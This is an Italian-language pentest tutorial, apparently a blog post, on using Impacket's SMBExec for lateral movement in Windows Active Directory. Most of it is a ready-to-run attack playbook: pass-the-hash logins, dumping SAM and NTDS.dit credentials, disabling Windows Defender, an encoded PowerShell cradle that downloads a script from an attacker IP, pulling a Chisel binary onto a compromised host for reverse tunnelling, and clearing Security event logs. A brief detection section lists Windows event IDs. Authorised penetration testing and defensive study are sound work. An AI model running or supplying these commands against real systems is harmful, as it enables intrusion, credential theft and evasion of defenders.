Smbexec: Esecuzione Remota SMB e Lateral Movement in Active Directory

SMBExec guida pratica per esecuzione remota Windows: lateral movement stealth via SMB senza file su disco. Alternativa fileless a PsExec per pentest AD.
- Pubblicato il 2026-02-27
- Tempo di lettura: 5 min
SMBExec è una tecnica di esecuzione comandi remota che sfrutta il Service Control Manager di Windows attraverso SMB, senza scrivere eseguibili sul disco del target. Parte della suite Impacket, rappresenta l’alternativa stealth a PsExec quando hai credenziali valide e vuoi minimizzare gli artefatti forensi. In questa guida impari a usare SMBExec per lateral movement in ambienti Active Directory, dalla connessione iniziale alla post-exploitation completa.
Posizione nella Kill Chain #
SMBExec si colloca nella fase di lateral movement, dopo aver ottenuto credenziali valide tramite tecniche come credential harvesting con Mimikatz, password spraying con Hydra, o hash dumping. L’output di SMBExec alimenta direttamente la fase successiva: privilege escalation locale, credential dumping aggiuntivo, o persistenza.
| Fase Kill Chain | Tool Precedente | SMBExec | Tool Successivo |
|---|---|---|---|
| Credential Access | Mimikatz, Responder | → Validazione credenziali | → Post-exploitation |
| Lateral Movement | BloodHound (path) | → Esecuzione remota | → WinPEAS, Seatbelt |
| Execution | NetExec (check) | → Shell interattiva | → Persistenza |
Installazione e Setup #
SMBExec fa parte di Impacket. Su Kali Linux è preinstallato:
smbexec.py --helpPer installazione manuale con ultima versione:
git clone https://github.com/fortra/impacket.git /opt/impacket
cd /opt/impacket
pip3 install .Verifica il funzionamento:
smbexec.py -hOutput atteso:
Impacket v0.11.0 - Copyright 2023 Fortra
usage: smbexec.py [-h] [-share SHARE] [-mode {SHARE,SERVER}] ...Requisiti #
- Credenziali valide (password o hash NTLM)
- Porta 445 raggiungibile sul target
- Privilegi amministrativi locali sul target
- Servizio Server attivo (default su Windows)
Uso Base #
La sintassi segue il formato standard Impacket: DOMAIN/user:password@target
Autenticazione con Password #
smbexec.py CORP/administrator:Password123@192.168.1.100Output di connessione riuscita:
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Launching semi-interactive shell -, type help for other options
C:\Windows\system32>Autenticazione Pass-the-Hash #
Quando hai solo l’hash NTLM (scenario comune dopo credential dumping):
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100Il formato hash è LMHASH:NTHASH. Se non hai LM hash, usa quello vuoto: aad3b435b51404eeaad3b435b51404ee.
Autenticazione Kerberos #
Per ambienti con NTLM disabilitato:
smbexec.py -k -no-pass CORP/administrator@dc01.corp.localRichiede un TGT valido nella cache (KRB5CCNAME environment variable) ottenuto con Rubeus o getTGT.py.
Come Funziona Internamente #
Capire il meccanismo interno aiuta nel troubleshooting e nell’evasion:
- Connessione SMB - Autentica al target via SMB sulla porta 445
- Accesso SCM - Si connette al Service Control Manager remoto
- Creazione Servizio - Crea un servizio temporaneo con nome random
- Esecuzione Comando - Il servizio esegue
cmd.exe /Q /c [comando] > \\127.0.0.1\share\output 2>&1 - Recupero Output - Legge l’output dalla share
- Cleanup - Elimina il servizio
Nessun file eseguibile viene mai scritto sul disco, solo comandi passati a cmd.exe nativo.
Tecniche di Lateral Movement #
Enumerazione Post-Accesso #
Una volta connesso, enumera l’ambiente:
C:\Windows\system32> whoami /all
C:\Windows\system32> net user /domain
C:\Windows\system32> net group "Domain Admins" /domain
C:\Windows\system32> ipconfig /all
C:\Windows\system32> netstat -anoCredential Dumping Remoto #
Estrai credenziali per ulteriore lateral movement:
C:\Windows\system32> reg save HKLM\SAM C:\Windows\Temp\sam
C:\Windows\system32> reg save HKLM\SYSTEM C:\Windows\Temp\sysPoi scarica i file e processali offline con secretsdump.py.
Alternativa diretta con secretsdump dalla stessa suite Impacket:
secretsdump.py CORP/administrator:Password123@192.168.1.100Disabilitare Difese #
Se necessario per persistenza:
C:\Windows\system32> powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"
C:\Windows\system32> sc stop WinDefendDefense Evasion #
Tecnica 1: Service Name Custom #
Il nome servizio di default è randomico, pattern riconoscibile. Usa un nome legittimo:
smbexec.py -service-name "WinRM" CORP/admin:pass@192.168.1.100Nomi che si mimetizzano: WinRM, BITS, wuauserv, TrustedInstaller.
Tecnica 2: Timestomping Commands #
Dopo l’esecuzione, il comando appare nei log. Minimizza il footprint usando comandi brevi e concatenati:
C:\> cmd /c "whoami && hostname && ipconfig" > C:\Windows\Temp\o.txtTecnica 3: Alternative Execution via PowerShell #
Per ridurre artefatti cmd.exe, passa a PowerShell encodato:
# Genera comando encodato
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.50/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0Esegui via SMBExec:
C:\> powershell -enc <BASE64_STRING>Scenari Pratici di Penetration Test #
Scenario 1: Lateral Movement da Workstation Compromessa #
Timeline stimata: 15 minuti
Situazione: hai compromesso una workstation con Metasploit e dumpato hash locali.
# COMANDO: Dump hash dalla sessione Meterpreter
meterpreter > hashdump
Administrator:500:aad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# COMANDO: Identifica altri host dove l'admin locale è valido
nxc smb 192.168.1.0/24 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 --local-authOUTPUT ATTESO #
SMB 192.168.1.100 445 WS01 [+] WS01\Administrator e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
SMB 192.168.1.105 445 WS02 [+] WS02\Administrator e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)# COMANDO: Connessione a secondo target
smbexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 ./Administrator@192.168.1.105COSA FARE SE FALLISCE #
- “STATUS_LOGON_FAILURE”: Hash non valido su quel target. Prova su altri host.
- “STATUS_ACCESS_DENIED”: L’utente non è admin locale. Cerca altri hash.
- Timeout: Firewall blocca 445. Verifica con
nmap -p 445 target.
Scenario 2: Domain Admin a Domain Controller #
Timeline stimata: 5 minuti
Hai credenziali Domain Admin da phishing con SET.
# COMANDO: Connessione diretta al DC
smbexec.py CORP/domainadmin:Str0ngP@ss!@dc01.corp.localOUTPUT ATTESO #
C:\Windows\system32> whoami
corp\domainadmin
C:\Windows\system32> hostname
DC01# COMANDO: Dump NTDS.dit per tutti gli hash del dominio
secretsdump.py CORP/domainadmin:Str0ngP@ss!@dc01.corp.local -just-dc-ntlmCOSA FARE SE FALLISCE #
- “KDC_ERR_PREAUTH_FAILED”: Password errata o account lockout. Verifica credenziali.
- “rpc_s_access_denied”: UAC remote restrictions. Prova con built-in Administrator.
Scenario 3: Pivot Through Compromised Server #
Timeline stimata: 20 minuti
Hai accesso a un server interno e devi raggiungere un segmento di rete isolato.
# COMANDO: Setup port forwarding con Chisel
# Sulla tua macchina
chisel server -p 8080 --reverse
# Sul server compromesso via SMBExec
C:\> curl http://192.168.1.50/chisel.exe -o C:\Windows\Temp\c.exe
C:\> C:\Windows\Temp\c.exe client 192.168.1.50:8080 R:1080:socksConfigura proxychains e usa SMBExec attraverso il tunnel:
proxychains smbexec.py CORP/admin:pass@10.10.10.50Integration Matrix #
| SMBExec + | Risultato | Comando |
|---|---|---|
| secretsdump.py | Dump credenziali senza shell | secretsdump.py user:pass@target |
| BloodHound | Visualizza path di attacco | Identifica target → SMBExec per accesso |
| NetExec | Validazione credenziali massa | nxc smb range -u user -p pass → SMBExec su “(Pwn3d!)” |
| Chisel | Pivot in reti isolate | Tunnel SOCKS → proxychains + SMBExec |
Confronto con Alternative #
| Caratteristica | SMBExec | PsExec | WMIExec | AtExec |
|---|---|---|---|---|
| File su disco | No | Sì (.exe) | No | No |
| Meccanismo | SCM + cmd | SCM + binario | WMI | Task Scheduler |
| Velocità | Media | Alta | Media | Bassa |
| Stealth | Alto | Basso | Molto Alto | Alto |
| Richiede | Admin + 445 | Admin + 445 | Admin + 135 | Admin + 445 |
| Detection | Medio | Facile | Difficile | Difficile |
Quando usare SMBExec: vuoi stealth moderato senza binari, 445 aperta, WMI potrebbe essere monitorato.
Quando evitare: target con EDR avanzato che monitora creazione servizi, o quando serve velocità.
Detection e Countermeasures #
Cosa Cerca il Blue Team #
- Event ID 7045 - Creazione servizio con nome random/insolito
- Event ID 7036 - Start/stop servizi frequenti
- Event ID 4688 - Process creation cmd.exe con redirect output
- Connessioni SMB - IPC$ access seguito da creazione servizio
Evasion Techniques #
- Service name blending - Usa nomi servizi Windows legittimi
- Timing - Esegui durante orari lavorativi quando il rumore è alto
- Command batching - Minimizza numero esecuzioni concatenando comandi
- Log deletion -
wevtutil cl Security(se accettabile per l’engagement)
Troubleshooting #
Errore: “STATUS_ACCESS_DENIED” #
Causa più comune: l’utente non ha privilegi admin locali.
# Verifica con CrackMapExec o netexec
crackmapexec smb 192.168.1.100 -u user -p pass --local-auth
# Cerca "(Pwn3d!)" nell'outputFix: trova un utente con privilegi amministrativi locali.
Errore: “Connection refused” #
SMB non raggiungibile.
# Verifica porta
nmap -p 445 192.168.1.100 -PnFix: verifica firewall, prova da diverso punto di origine.
Shell Lenta o Timeout #
SMBExec può essere lento per comandi con molto output.
Fix: reindirizza output su file e scarica:
C:\> systeminfo > C:\Windows\Temp\info.txtPoi recupera con smbclient o download se hai sessione Meterpreter parallela.
Errore: “STATUS_LOGON_TYPE_NOT_GRANTED” #
Policy di sicurezza impedisce logon network per quell’utente.
Fix: usa un utente diverso o prova WMIExec come alternativa.
Cheat Sheet Comandi #
| Operazione | Comando |
|---|---|
| Connessione password | smbexec.py DOMAIN/user:pass@target |
| Connessione PTH | smbexec.py -hashes :NTHASH user@target |
| Connessione Kerberos | smbexec.py -k -no-pass user@target |
| Service name custom | smbexec.py -service-name NAME user:pass@target |
| Local admin (no domain) | smbexec.py ./admin:pass@target |
| PowerShell shell | smbexec.py -shell-type powershell user:pass@target |
| Porta custom | smbexec.py -port 445 user:pass@target |
FAQ #
SMBExec vs PsExec Impacket?
SMBExec non scrive file su disco, quindi meno detection AV. PsExec è più stabile per sessioni lunghe. Usa SMBExec quando stealth è priorità.
Funziona su Windows 11?
Sì, a patto che il servizio Server sia attivo e tu abbia credenziali admin valide. Windows 11 non ha protezioni aggiuntive contro questa tecnica.
Posso usare SMBExec attraverso VPN?
Sì, se la VPN permette traffico sulla porta 445. Molte VPN aziendali la bloccano per sicurezza.
Come gestisco UAC Remote Restrictions?
Usa l’account Administrator built-in (RID 500) che bypassa UAC remote, oppure modifica la registry LocalAccountTokenFilterPolicy.
SMBExec lascia tracce?
Sì: eventi creazione servizio, connessioni SMB nei log, potenziali artefatti in memoria. Non è invisibile, solo più stealth di PsExec.
È legale usare SMBExec?
Solo su sistemi con autorizzazione scritta. Per penetration test Active Directory professionali, hackita.it/servizi.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.
Risorse: Impacket GitHub | Impacket Docs







